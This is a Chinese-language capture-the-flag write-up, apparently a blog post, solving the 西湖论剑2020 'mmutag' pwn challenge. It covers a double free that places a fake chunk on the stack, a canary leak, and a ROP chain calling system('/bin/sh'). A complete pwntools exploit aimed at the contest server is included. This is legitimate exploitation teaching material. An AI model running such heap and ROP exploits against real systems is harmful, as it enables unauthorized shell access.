西湖论剑2020 pwn mmutag wp

拿到题目,给了libc库,太可了,爱了爱了
在这里插入图片描述
开局malloc(0x68)输入姓名,这个0x68给人一种熟悉的感觉
程序会顺便输出保存着chunk指针的栈地址,暂时没发现有什么吊用
在这里插入图片描述
heap的部分,只有malloc和free的功能
并且固定申请0x68的chunk
在这里插入图片描述
free这里,出现了经典的free之后未置0
而且还刚好是0x68的chunk
常见做法就是double free后劫持malloc_hook
然后就是泄露libc基地址
始终没找到什么好办法,泄露出来的栈地址看似也无法得到libc_base
这时候发现了出题者骗人的地方
在这里插入图片描述
menu上明明写着输入3退出,但其实输入3并不会退出,只会给你一个输入的机会,然后再把你输入的东西输出
选择4才是真正的exit
这里read又输出,就有了泄露栈上数据的机会
在这里插入图片描述
但是,调试之后发现,下面貌似并没有能够泄露libc_base的数据
然后就发现了这两个东西
在这里插入图片描述
靠,这不canary么
再仔细想想看,给了某个栈地址,给了泄露canary的办法,给了劫持chunk分配到某个地址的机会。。。。。。
难道真是把chunk分配到栈上?可恶
经过了一段时间的发呆之后,开始动手
canary下面的0x7fffffffde20就是rbp,再下面0x400c9e就是返回地址

#leak stack_addr
sh.recvuntil("please input you name: \n")
sh.sendline("aaaa")
sh.recvuntil("0x")
stack_addr=int(sh.recv(12),16)
print hex(stack_addr)

先泄露栈地址

sh.recvuntil("please input your choice:\n")
sh.sendline("2")
#leak canary
sh.recvuntil("please input your choise:")
sh.sendline("3")
payload='a'*16+'c'*8
sh.sendline(payload)
sh.recvuntil('cccccccc')
canary=u64(sh.recv(8))-0xa
print hex(canary)

再泄露canary

#add two chunk
add(1,'aaaa')
add(2,'bbbb')
#double free
delete(1)
delete(2)
delete(1)

然后就是double free

#change fd
payload=p64(stack_addr-0x40)
add(3,payload)
add(4,'cccc')
add(5,'dddd')

再add回来,把fd指针改掉
这个0x40是怎么来的呢,调试出来的
在这里插入图片描述
如图,0x7fffffffde10-0x7fffffffddd0=0x40

下面这步需要注意
我们要往栈里面写入0x71来通过对chunk_size的检测
也就是说先写p64(0)+p64(0x71)
如果后面要返回到main函数的话
紧接着,要写p64(0)

因为当malloc到这个fake chunk这里的时候,如果fd指针是一个任意值,例如0x6161616161616161
那么下一次再分配0x70大小的chunk时,就会到0x6161616161616161地址处去分配,就会出错了,由于返回到的是main函数,程序一开始输入name的时候就会自动malloc(0x68),所以是不行的
而如果这个值是0的话,系统就会认为fastbin中的0x70大小的chunk已经取完了,下一次malloc(0x68)的时候,就会去top chunk里面分配了

当然如果后面不返回到main函数的话,fd的值就不用考虑了

#write size(0x71) for chunk
sh.recvuntil("please input your choise:")
sh.sendline("3")
payload=p64(0)+p64(0x71)
sh.sendline(payload)

写chunk_size

#familar ROP!!!
payload="a"*8+p64(canary)
payload+="b"*8+p64(poprdi)+p64(puts_got)
#return to sub_400a99
payload+=p64(puts_plt)+p64(0x400a99)
add(6,payload)
sh.recvuntil("please input your choise:")
sh.sendline("4")
#leak libc_base
puts_addr=u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc_base=puts_addr-libc.symbols["puts"]
system_addr=libc_base+libc.symbols["system"]
binsh=libc_base+libc.search("/bin/sh").next()
info("libc_base:0x%x",libc_base)

熟悉的ROP,泄露puts_got,返回到函数sub_400a99
选择“4”退出来触发leave和retn
计算libc_base和system_addr和binsh_addr

好了,地址泄露成功了,接下来故技重施

#try again
sh.recvuntil("please input your choise:")
sh.sendline("3")
payload=p64(0)+p64(0x71)
sh.sendline(payload)
delete(1)
delete(2)
delete(1)
payload=p64(stack_addr-0x20)
add(7,payload)
add(8,'cccc')
add(9,'dddd')

这里的-0x20也是调试出来的

payload="a"*8+p64(canary)
payload+="b"*8+p64(poprdi)+p64(binsh)
payload+=p64(system_addr)+p64(main)
add(10,payload)
sh.recvuntil("please input your choise:")
sh.sendline("4")
sh.interactive()

好了,搞定了
下面是我的完整exp:

from pwn import *
sh=remote("183.129.189.61",52004)
#sh=process("./mmutag")
context.log_level='debug'
elf=ELF("./mmutag")
libc=ELF("./libc.so.6")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
main=0x400bf1
poprdi=0x400d23

def add(id,content):
	sh.recvuntil("please input your choise:\n")
	sh.sendline("1")
	sh.recvuntil("please input your id:\n")
	sh.sendline(str(id))
	sh.recvuntil("input your content\n")
	sh.send(content)
def delete(id):
	sh.recvuntil("please input your choise:\n")
	sh.sendline("2")
	sh.recvuntil("please input your id:\n")
	sh.sendline(str(id))

#leak stack_addr
sh.recvuntil("please input you name: \n")
sh.sendline("aaaa")
sh.recvuntil("0x")
stack_addr=int(sh.recv(12),16)
print hex(stack_addr)
sh.recvuntil("please input your choice:\n")
sh.sendline("2")

#leak canary
sh.recvuntil("please input your choise:")
sh.sendline("3")
payload='a'*16+'c'*8
sh.sendline(payload)
sh.recvuntil('cccccccc')
canary=u64(sh.recv(8))-0xa
print hex(canary)

#add two chunk
add(1,'aaaa')
add(2,'bbbb')

#double free
delete(1)
delete(2)
delete(1)

#change fd
payload=p64(stack_addr-0x40)
add(3,payload)
add(4,'cccc')
add(5,'dddd')

#write size(0x71) for chunk
sh.recvuntil("please input your choise:")
sh.sendline("3")
payload=p64(0)+p64(0x71)
sh.sendline(payload)

#familar ROP!!!
payload="a"*8+p64(canary)
payload+="b"*8+p64(poprdi)+p64(puts_got)
#return to sub_400a99
payload+=p64(puts_plt)+p64(0x400a99)
add(6,payload)
sh.recvuntil("please input your choise:")
sh.sendline("4")

#leak libc_base
puts_addr=u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc_base=puts_addr-libc.symbols["puts"]
system_addr=libc_base+libc.symbols["system"]
binsh=libc_base+libc.search("/bin/sh").next()
info("libc_base:0x%x",libc_base)

#try again
sh.recvuntil("please input your choise:")
sh.sendline("3")
payload=p64(0)+p64(0x71)
sh.sendline(payload)

delete(1)
delete(2)
delete(1)

payload=p64(stack_addr-0x20)
add(7,payload)
add(8,'cccc')
add(9,'dddd')

payload="a"*8+p64(canary)
payload+="b"*8+p64(poprdi)+p64(binsh)
payload+=p64(system_addr)+p64(main)
add(10,payload)
sh.recvuntil("please input your choise:")
sh.sendline("4")
sh.interactive()
  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值